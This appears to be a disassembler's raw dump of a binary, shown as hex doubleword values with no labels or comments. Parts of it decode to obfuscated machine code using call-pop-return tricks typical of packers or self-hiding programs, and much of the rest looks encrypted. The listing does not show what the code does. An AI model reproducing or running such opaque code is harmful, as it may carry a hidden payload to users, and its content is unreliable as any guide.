dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h
dd 0B5FF4DBAh, 44FB6885h, 1F2FFB34h, 0DA51FD5Fh, 0F5133F71h
dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah
dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh
dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch
dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h
dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 37C36FEFh
dd 0E5C0707Ch, 5D73B3CCh, 2C7F518Ah, 19E002D0h, 873B3CCh
dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h
dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h
dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh
dd 5E750592h, 252D4D7Ah, 69B65779h, 85C3F6FFh, 0EEC87D7Ch
dd 0F373B3CCh, 0FCF8EC0Fh, 0BA3B4B07h, 5C61152Ah, 1B9DFD7Ah
dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh
dd 0F2C3F6F7h, 55C87D7Ch, 2F73B3CCh, 12F8F10Fh, 0CD3B4B07h
dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0AE76885h, 0C3F8FB34h
dd 293B47A0h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah
dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 293B4BF4h, 96514ACEh
dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah
dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 85C373EFh, 0EA917D7Ch
dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh
dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F43B4BE8h, 0CF0460F7h
dd 0A0F8FB34h, 4ECD3E39h, 0D075FD7Ah, 0D9C36FEFh, 0CEB57E7Ch
dd 1A8935F1h, 0BCC373EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h
dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h
dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 959F17FBh, 0EAFCFB34h
dd 46CF7D86h, 0E573B3CCh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah
dd 10C36FE8h, 0ADFCBD7Ch, 913B4BECh, 79F835F1h, 0E33B46C4h
dd 44FB6F85h, 7FFDFB34h, 4801F3Ch, 5E75FD6Dh, 99E37F79h
dd 1A35FB34h, 85CE4FE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h
dd 0AE37779h, 0ECF8FB34h, 293B46DAh, 2F2B5989h, 0CB75FD72h
dd 53E76F85h, 0AF6FB34h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah
dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h
dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h
dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah
dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch
dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah
dd 162FFD7Ah, 85CE2C90h, 7FCF707Ch, 7973B3CCh, 71CCF50Fh
dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 0D9C367E7h, 0D3497D7Ch
dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah
dd 937F17FBh, 25F8FB34h, 0CD3B4BE0h, 5C7D80F1h, 0F275FD72h
dd 0B0145989h, 0DC75F9B8h, 0E8EF40F7h, 0EF46FB34h, 9775F5C3h
dd 0AADF0E7Ah, 58F89DB9h, 0F43B4BE0h, 7874C2FBh, 0B000FC7Bh
dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h, 53EF40F7h
dd 0F3CDFB34h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h
dd 21D278F7h, 0D08AFB34h, 16EBCA8Bh, 5 dup(0)
dd 3E40101h, 64E0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 47C35747h, 0B2C4EC8h, 95BD8B0Ah, 5006482Bh
dd 8C0Fh, 4890000h, 8D8B5224h, 6482765h, 8B006A5Fh, 480F29BDh
dd 8B006A06h, 480B99BDh, 7F858D06h, 0F064EBDh, 0C8Fh, 68A0F00h
dd 29000000h, 4832A985h, 0BA665006h, 489EBEBh, 6AFC24h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h
dd 0E9F8C9B3h, 8, 5B7F58F1h, 6F54737Eh, 95FF006Ah, 6482B2Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EAC35545h
dd 6B03805Eh, 0F5677DBFh, 63EE95Bh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 37F8DBC3h
dd 0E8h, 0ED815D00h, 64EBD84h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 5BC35343h, 6A9E3Bh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0E626AC3h, 0B9128FAFh, 1554CD46h, 2FA8B668h, 24348128h
dd 282FA716h, 0FF2FCF80h, 48092D95h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BF9076Fh
dd 48098DBDh, 738DBF06h, 0B58D4C80h, 64EBC7Bh, 2E83B966h
dd 81E7E381h, 6C73167h, 6D676552h, 0D800Fh, 8E90000h, 5A000000h
dd 0D7627D50h, 0C7F87003h, 6E6F0446h, 6A6C63h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 0BEEB57C3h, 0DBA0217Ah, 3CF697B9h, 846C762h, 737361h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h
dd 5D858996h, 6A064815h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0A5FDF307h, 8DF15EBDh
dd 0CCDBD29h, 0BA660648h, 858DD81Ah, 64EBC7Bh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8DC35545h, 8C89C762h
dd 1E794F6Bh, 9E8h, 0D7305900h, 2AE219C1h, 0CE9447Ch, 0B3000000h
dd 0F1A579D4h, 2324692Ah, 59105CFBh, 0E2E9B950h, 4896176h
dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 3816E60Fh, 0DF1DE1Fh, 0DD95FFEEh, 6A06481Ch
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0EAA7C352h, 0DCA87175h, 559D3379h, 0B064810h
dd 36840FC0h, 0F000000h, 68Bh, 55952900h, 0E9064813h, 3B3h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4C35747h
dd 137526B9h, 3CBF6619h, 2C6F6842h, 0DB9D56Dh, 815BDFF8h
dd 0D4BD2404h, 0CF802A92h, 2D95FFF5h, 6A064809h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 8DEBC351h, 4EBC7BB5h, 0B5BD8B06h, 0C7064804h, 34383106h
dd 50006A36h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 4D9BFDA1h, 7BE25099h, 3009CB81h, 0EA8059DBh
dd 446C7CEh, 31342D37h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 89C35747h, 0CD1A7F11h, 14E9h, 0FDDA0900h
dd 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 51147EC2h, 846C7E5h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B4C35545h
dd 7DBC91F2h, 0DC4607B6h, 3860FBFh, 0F000000h, 6AFFB7h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h
dd 858DB7A4h, 64EBC7Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0B8C35545h, 1EDE222Bh, 5E99529h, 60900648h
dd 4800Fh, 0B8660000h, 0D38B8AA1h, 0CE85061h, 7C000000h
dd 62B01C43h, 0BA5A5DCCh, 5321991Ch, 310F5250h, 5B5B585Ah
dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0F345E1FCh, 0A59D293Bh, 89064807h, 482EA58Dh
dd 0DD95FF06h, 6A06481Ch, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 6B8EC352h, 89CCF251h
dd 482EA9B5h, 12E906h, 2D340000h, 0EA36D7FFh, 9AE16BBEh
dd 8A266E4Eh, 359F5E63h, 840FC00Bh, 0Eh, 0E9FBBF0Fh, 1AFh
dd 27E18D89h, 9680648h, 57601602h, 0AE9h, 1AE5B000h, 933DA21Bh
dd 5994EE0Eh, 25243481h, 6A601603h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 86D9C353h
dd 0F1F1DAD5h, 0FFD98BDEh, 48092D95h, 0F9958906h, 8D064806h
dd 4EBC7BB5h, 6BCA8006h, 694606C7h, 6A656Ch, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5D1772C3h
dd 72E3B0A3h, 0B7B81727h, 446C72Ah, 636E6F6Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 26C35343h, 92444E10h
dd 4ECE8D66h, 277DB589h, 46C70648h, 73616C08h, 56006A73h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 5CECBFE4h, 8EB9B7D3h, 0BF66D76Ah, 46C777FDh, 0Ch, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 0F8BCF6CBh, 0CC76F1Eh, 6E8DFh, 64040000h, 8C43ECF4h
dd 19B98D8Bh, 6A5B0648h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1D04h, 0C3514100h, 0FFC44F00h, 0F838E924h
dd 0EF80E0EAh, 7B858D43h, 81064EBCh, 4134A8C7h, 0B6BB5041h
dd 890DEBBAh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 13084CC3h, 0FA28B15h, 95FFC8BFh
dd 6481CDDh, 4FD9D89h, 0C00B0648h, 0C840Fh, 0F5B90000h
dd 0E91398C0h, 7, 51E9DE8Bh, 8DFFFFFAh, 487286B5h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 9DC6F964h, 3A88D474h, 8D035B74h, 6481391h, 4DFBE4B9h
dd 0B820h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 816604C3h, 0FFAF01C9h, 59D29E6h
dd 60064810h, 43ECE2BAh, 59B58B54h, 61064812h, 0AE8C18Bh
dd 0D9000000h, 43ACADB1h, 7DF0ACCCh, 0CE9C2h, 0B7920000h
dd 0F07AB77Eh, 8481C01Bh, 295FF026h, 4830F5BDh, 6C78106h
dd 0F000076h, 680h, 959D8B00h, 6806482Bh, 0
dd 5AF6BF0Fh, 9E98589h, 0C8B0648h, 0DBB70F17h, 0EE18C181h
dd 0DE90ED4h, 6D000000h, 0C09EA5C4h, 58F021AAh, 1B090E34h
dd 9312F181h, 8B605B73h, 8161F8D9h, 6D8CA3E9h, 170C8966h
dd 939B58Bh, 66600648h, 50BC69B8h, 1859858Bh, 615F0648h
dd 0CE05EA81h, 0DE876A1h, 69000000h, 2FDD286Ah, 36A40D77h
dd 2474AD89h, 4918D89h, 815E0648h, 0A1CE01C2h, 0AD858B76h
dd 81064830h, 0FF8AE8FAh, 18850FFFh, 0E9000000h, 2Dh, 0B7C1CD70h
dd 90AEEB67h, 818E1E49h, 9783CD4Ah, 297C3335h, 480EAD85h
dd 0FF60E906h, 7517FFFFh, 1400621Ch, 0C8CB3443h, 0FB487312h
dd 0E99D8DC3h, 0B806480Bh, 144Ch, 6F58589h, 0E80648h, 58000000h
dd 0D05h, 0E9038900h, 144Ch, 513h dup(0)
dd 9E8h, 0E8886200h, 0D531D0B5h, 0F280492Bh, 0C2815841h
dd 2C1728CDh, 74F3C081h, 680000h, 8B000000h, 4833158Dh
dd 12E95B06h, 0E6000000h, 47FA1FB4h, 0F8AD4563h, 0ED632F89h
dd 24983F4Eh, 18348BA0h, 0F681EF8Ah, 6FEDD07Eh, 1B19BD8Bh
dd 0F6810648h, 7DF234C7h, 0F681FE8Bh, 59A93B15h, 8956FB8Bh
dd 4828098Dh, 18048F06h, 81AFE180h, 6104DFD7h, 0A7EB8137h
dd 0B52607Eh, 480F09BDh, 0A3C38106h, 0B52607Eh, 4815A18Dh
dd 0CCFB8106h, 0FFFFF8Bh, 1985h, 418D8900h, 0E906481Ch
dd 24h, 5ED9C838h, 0A6A076B5h, 0A58CE38Ah, 958B0396h, 6481B91h
dd 0FFFF84E9h, 0EC52CBFFh, 17CA55E1h, 0EDB797E5h, 2AE9h
dd 2404C700h, 0
dd 0E8h, 0ED815D00h, 64ED9E0h, 424448Bh, 33058589h, 0B80648h
dd 8D000000h, 484E808Dh, 0B8E1FF06h, 6754h, 3BE9h, 0BD8B6000h
dd 6483259h, 3304EF83h, 0BBC18BC9h, 0EDB88320h, 0BE04C783h
dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
dd 100h, 0FFD3820Fh, 0C361FFFFh, 0CAFEC88Bh, 0A80BD268h
dd 8A4F5ACFh, 0A80BD2B7h, 75EAD5ABh, 0A80BD30Fh, 8A4F5BF5h
dd 57AE5DBAh, 8A4F5BA2h, 0A80BD07Fh, 75EAD5ABh, 0A80BD0C6h
dd 8A4F5890h, 0A80BD140h, 8A4F5912h, 0A80BD13Ah, 75EAD5ABh
dd 0D8D42F25h, 313648Fh, 0E68BE5C0h, 5490A752h, 2157EC9Eh
dd 0C4CF61D1h, 9DD42F43h, 3136488h, 0E68BEDC0h, 790A752h
dd 2157EC99h, 0C4CF7DD1h, 4CD42F43h, 3136488h, 0E68BF9C0h
dd 0B390A752h, 2157EC98h, 0C4CF49D1h, 0D5D42F43h, 3136489h
dd 0E68BC5C0h, 4C90A752h, 2157EC98h, 0C4CF45D1h, 0AFD42F43h
dd 313648Ah, 0E68BD1C0h, 0C290A752h, 2157EC9Bh, 0C4CF5DD1h
dd 21D42F43h, 313648Ah, 0E68BD9C0h, 4890A752h, 2157EC9Bh
dd 0C4CF55D1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h
dd 0F251A245h, 513FC0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h
dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
dd 3AAE63CEh, 8C5D26B5h, 0AB534284h, 0FFEA2211h, 0A4245D55h
dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
dd 27BFEA66h, 10DB2FEEh, 751364E3h, 2011294h, 3DADA0D9h
dd 79AEA40Bh, 0AE51A1ECh, 22DC0941h, 8C5B9DECh, 103773BAh
dd 21732ADFh, 1FE928C8h, 5BEA2C1Ah, 8C152BFDh, 988150h
dd 0AE1F15FDh, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 51FFC0D5h
dd 0DDDAA40Bh, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0B87830BAh
dd 529E2C1Ch, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 3DADA0D9h
dd 79AEA40Bh, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
dd 174D629h, 6A985E00h, 1402A5Ch, 549521A9h, 8A15C234h
dd 290BA245h, 0C4C96BBEh, 0A0242943h, 4D1957DFh, 0A8515E00h
dd 75532A54h, 0E0418BD7h, 19CDA152h, 9BFC69CEh, 0E2A5B997h
dd 0F9FA31EFh, 3DADA0D9h, 79AEA40Bh, 20949A0Dh, 8C651A23h
dd 21848132h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h
dd 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h
dd 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h, 2851A245h
dd 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h
dd 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h
dd 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch
dd 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h
dd 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh, 319577Fh
dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h
dd 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h
dd 22DC0886h, 8C5B9DECh, 0F8E173BAh, 329FA7FEh, 5757ECF2h
dd 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch
dd 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h
dd 75152A54h, 0E05D43D7h, 20452652h, 1FE928C8h, 5BEA2C1Ah
dd 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh
dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h
dd 0A42C294Dh, 8AE96F93h, 451A245h, 0A387D5FEh, 2357EA55h
dd 4917868Ch, 10DB2FEFh, 751364E3h, 28E9C494h, 0BE4CBDh
dd 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h
dd 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h
dd 0AE19B26Ch, 58B9E2DFh, 32DC0885h, 8C5B9DECh, 103771BAh
dd 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h
dd 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h
dd 75BF8654h, 0E0418BD7h, 26DDA152h, 25FB6377h, 0C4A292CEh
dd 0CE825D43h, 0ECE4AAECh, 29028EEh, 319577Fh, 23305E38h
dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh
dd 0A8515E00h, 32732A54h, 3376B77h, 3DADB0D9h, 7BAEA40Bh
dd 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh, 43E96FDFh
dd 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h
dd 0EC152A54h, 0CEB824FDh, 328FA7FFh, 5757ECF2h, 20A09A87h
dd 25FB0E03h, 0C4A292CEh, 0CE825D43h, 0ECD8ACECh, 0A42C89EEh
dd 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h
dd 0F251A245h, 5507C0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h
dd 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h, 8A152A16h
dd 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h, 2A5EF279h
dd 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh, 8660D554h
dd 2559D7BAh, 0C4CF6DCEh, 32DCF143h, 8C5BF14Ah, 0EDD871BAh
dd 8A42C3A8h, 0DDAEA245h, 8260D558h, 720638C8h, 7462C1Ah
dd 0E68ABCDFh, 3C6D552h, 92B85E00h, 75152A54h, 0DDAEAE30h
dd 0E98FA75Ch, 0FB57EC9Fh, 510BB0D9h, 7BAEA40Bh, 63E96FDDh
dd 0A851A258h, 75195FABh, 32DCAA30h, 8C5BF03Bh, 0B6CB2F16h
dd 7513648Fh, 54142B96h, 8A152ABDh, 0EDDAC345h, 82D7E3A8h
dd 3044BA45h, 8D8D0000h, 64EE09Ah, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 79C35646h, 77BAD763h, 0B2D9A4AEh
dd 2EE9958Bh, 8D890648h, 6481405h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0F9C35141h, 81850157h, 5B064813h
dd 1879BD89h, 85C70648h, 6483025h, 5D04h, 0F6F08166h, 0D985C78Eh
dd 6482Ah, 0B3000000h, 3DB5FF97h, 60064828h, 663BEB80h
dd 612D91BFh, 0E7195FFh, 0AE80648h, 1C000000h, 66CED5D2h
dd 0D3BAFB71h, 11E9F5h, 0E0AC0000h, 1E860064h, 0FB0CC3ADh
dd 7D4656F7h, 5A5AE4C8h, 95FF006Ah, 648092Dh, 3DEBC08Bh
dd 75EAA7F8h, 79DCA871h, 0B92B255Dh, 42C90DDAh, 2C914278h
dd 0EA0A34F4h, 0B1084A1Ah, 0E747BEAEh, 5C5462A8h, 0F51E9EBBh
dd 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h, 0F86F09DAh
dd 0B38D8DDBh, 0E9064EE1h, 10h, 0C0B794E2h, 44B7788Dh
dd 347FAB75h, 0A9B64757h, 14058D89h, 8B660648h, 2585C7D3h
dd 0C8064830h, 0E800006Ah, 0Bh, 97BD349Dh, 0E29511FFh
dd 8BCC864Eh, 4814DDB5h, 8D295A06h, 6481CB9h, 2AD985C7h
dd 648h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0CEFC93C3h, 8B58506Fh, 4814B19Dh
dd 25B5FF06h, 6A06480Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 99C5C356h, 55631758h
dd 23398589h, 95FF0648h, 6480E71h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0F2C35141h, 0C4120BB4h, 0FF006A10h
dd 48092D95h, 0EBC08B06h, 0D4D1532Bh, 58598C97h, 0E38159D7h
dd 30DC514Dh, 0DB26B1F0h, 294AC524h, 93E826ECh, 0EF9D430Bh
dd 9252C9FDh
dd 4A992794h, 9D86D175h, 0D2E9h, 0CDC46D00h, 7471F3AFh
dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h, 0C7D3B1B0h
dd 48442421h, 0D2CEAAADh, 9D365251h, 13F4B40Ah, 7EC07C73h
dd 0E4FD85A5h, 15690097h, 76243253h, 18B00661h, 9FFDF47Ch
dd 243282C1h, 0A8E08C76h, 1E267666h, 4F7623EEh, 0EDA2E6B8h
dd 412E7623h, 0F85E53D3h, 65CE7CDAh, 0FE922976h, 6E0F7C73h
dd 0E28D7830h, 8BCDA175h, 5975E28Dh, 0ED45225Eh, 15CFh
dd 0E9804400h, 2432D395h, 3E90E176h, 7624327Ah, 12B83946h
dd 0FC85D942h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
dd 64EE1E8h, 0F99BC8E9h, 74D684FFh, 0FA271F17h, 83B9A2BFh
dd 0B88B4823h, 64EE2A2h, 4EBC503h, 3236BDDFh, 0D2FE9h
dd 0E4AE6800h, 9EE9064Eh, 68FFF99Bh, 64EE5B4h, 0F99B94E9h
dd 0E6A268FFh, 8AE9064Eh, 68FFF99Bh, 64EE732h, 0F99B80E9h
dd 0EA8C68FFh, 76E9064Eh, 68FFF99Bh, 64EED69h, 0F99B6CE9h
dd 0EE8868FFh, 62E9064Eh, 97FFF99Bh, 257113EEh, 0A2FE9A9Fh
dd 36620E1Dh, 0C5D1B38Eh, 3B583839h, 0C3C6625Ah, 7653F5A1h
dd 0FCF37E2Ah, 6463009Ch, 66384F04h, 7C731622h, 858F18AEh
dd 0FC8BF8F9h, 6DC5C460h, 630100ADh, 0FB6A300Bh, 6BC3DE61h
dd 129E13AAh, 6DC12625h, 402DAB03h, 0A47C6C88h, 581CAADBh
dd 0F37C6C33h, 77AC9847h, 0ADDBA913h, 27h, 0DC7EB9F6h
dd 535C7549h, 0CFA87C6Ch, 526420BEh, 73EF7C6Ch, 27CF618Ch
dd 0F65C5D2Ah, 0A92E3DE6h, 7E7DBh, 673C0000h, 8C5h, 0B0E980FCh
dd 95D5889Fh, 41075700h, 887624CAh, 56725846h, 9D1A9666h
dd 0C8DE6535h, 0DEAF2C2Bh, 462221C2h, 98335A4Fh, 4D9C7B41h
dd 6C2E09E5h, 4078A5F9h, 36C7C6Dh, 1BA0E472h, 3FAB7C6Dh
dd 0FBBF6440h, 902CDBA9h, 2E6FE70Eh, 62C36285h, 790494E5h
dd 8D51F966h, 38h, 0ABB648E4h, 7EB96003h, 647549DCh, 0B07C6C40h
dd 20CC60F7h, 0FB535021h, 40266EFCh, 0D7527C6Ch, 4ED1A3D0h
dd 530F2253h, 8BA57ECh, 38E7553h, 0BE54DBA9h, 0CF000000h
dd 40FFE85h, 2E863078h, 56D7B255h, 0BC3D38BAh, 3031BDCFh
dd 0B7B23143h, 0A09AAC6h, 0A094F06Eh, 63007624h, 0EB880464h
dd 6319FECh, 70FDD144h, 0B47C6CC9h, 0F6C1A9CBh, 712AC154h
dd 699303Ah, 780D6A1Bh, 0F2585488h, 0B71A04E4h, 991BB582h
dd 0FDBA369Ch, 412AD66Ah, 271A2B6Dh, 0DCDD5976h, 2642C3ACh
dd 74CBCE6Ah, 129DDC9Eh, 0A547F7A8h, 2B00000Ah, 0B9D5B78Ah
dd 46523E3Bh, 0CAC6A2A1h, 5935572Ah, 97BCDCDDh, 677A063Eh
dd 0EAF78905h, 9097128Eh, 181FA4F0h, 0FAD4EB78h, 7C7316BEh
dd 85D3B40Ah, 0D66DF8F9h, 6FCB49DDh, 0A9F9F1E7h, 7624D8EFh
dd 8C1CB2FDh, 0F4949310h, 0DC7EB96Fh, 360BB749h, 3923879h
dd 6C401EABh, 0DCADCA7Ch, 6C40460Eh, 0EA510D7Ch, 96D2AC43h
dd 227C6C3Fh, 0F6EFC2B1h, 941505D3h, 9C75AE3Eh, 0C7AFDBA9h
dd 0F4000000h, 8AFBFE85h, 0F1CD64FBh, 762432B7h, 6C2C7A05h
dd 78762432h, 7FFB973Fh, 0D7BD0D7Ah, 0CD762437h, 50412326h
dd 2B290D5Bh, 0BA1015D0h, 0BB4D55DEh, 1AB621AEh, 8FEC9D98h
dd 0FBC48827h, 0BDCDC651h, 6D5FBF1h, 3FD6BF17h, 0FBBD11A8h
dd 0C97624C3h, 0C3B8F0AEh, 7B047624h, 0ED7885D3h, 0C3AC7C6Ch
dd 3F3AB854h, 98A30B97h, 9C0B63F2h, 0CC82B78Ch, 1C9834A3h
dd 87237F1Dh, 0A9CD3B82h, 34EB129Eh, 99F86h, 0B1B03100h
dd 383DC7D3h, 0ACBB4C58h, 5150D0CCh, 0C6DB6733h, 3899BAh
dd 8B076564h, 1C88E8F5h, 0A6F29E91h, 0E97A061Dh, 17C0F8D6h
dd 0BA0C7C73h, 0EBF985E9h, 0A8C84954h, 0C6DB67F9h, 403A070h
dd 0FE85DF64h, 0CE030B0Fh, 515E2F22h, 3119AF24h, 32B1C3B0h
dd 0C7655537h, 0E60142Fh, 7624B14Ah, 0B05D1B73h, 0C6B7624h
dd 23B2337Ch, 6CC1024Bh, 0BB59267Ch, 31D4462Dh, 73457E26h
dd 550E70EAh, 0F2B76355h, 0D6057C09h, 0FFCF46C7h, 2BFA1E5Eh
dd 292ABD4Fh, 0EA1E1355h, 59C6A11Fh, 47015D28h, 951FEA1Eh
dd 0B5C56DEAh, 24C15BCAh, 0AEEE8D25h, 0E60F795h, 26359DA6h
dd 0FAFF8517h, 7F72FF8Dh, 5F5858FEh, 0C49A31C8h, 25B2C684h
dd 473433B0h, 852D4A26h, 217D6E15h, 25B2C667h, 0EF8D0A75h
dd 8A3530B3h, 63122F34h, 0B11D8D02h, 27000008h, 0B5E1839Eh
dd 326E0A0Fh, 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh
dd 0E6E38511h, 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C7318B2h
dd 85FFA83Eh, 0C28AFBFEh, 0EAC453F9h, 7C6C446Bh, 8B25B0FFh
dd 1D89EBEEh, 52E09190h, 7C6C4416h, 0B0EB547h, 0C7953D7Ah
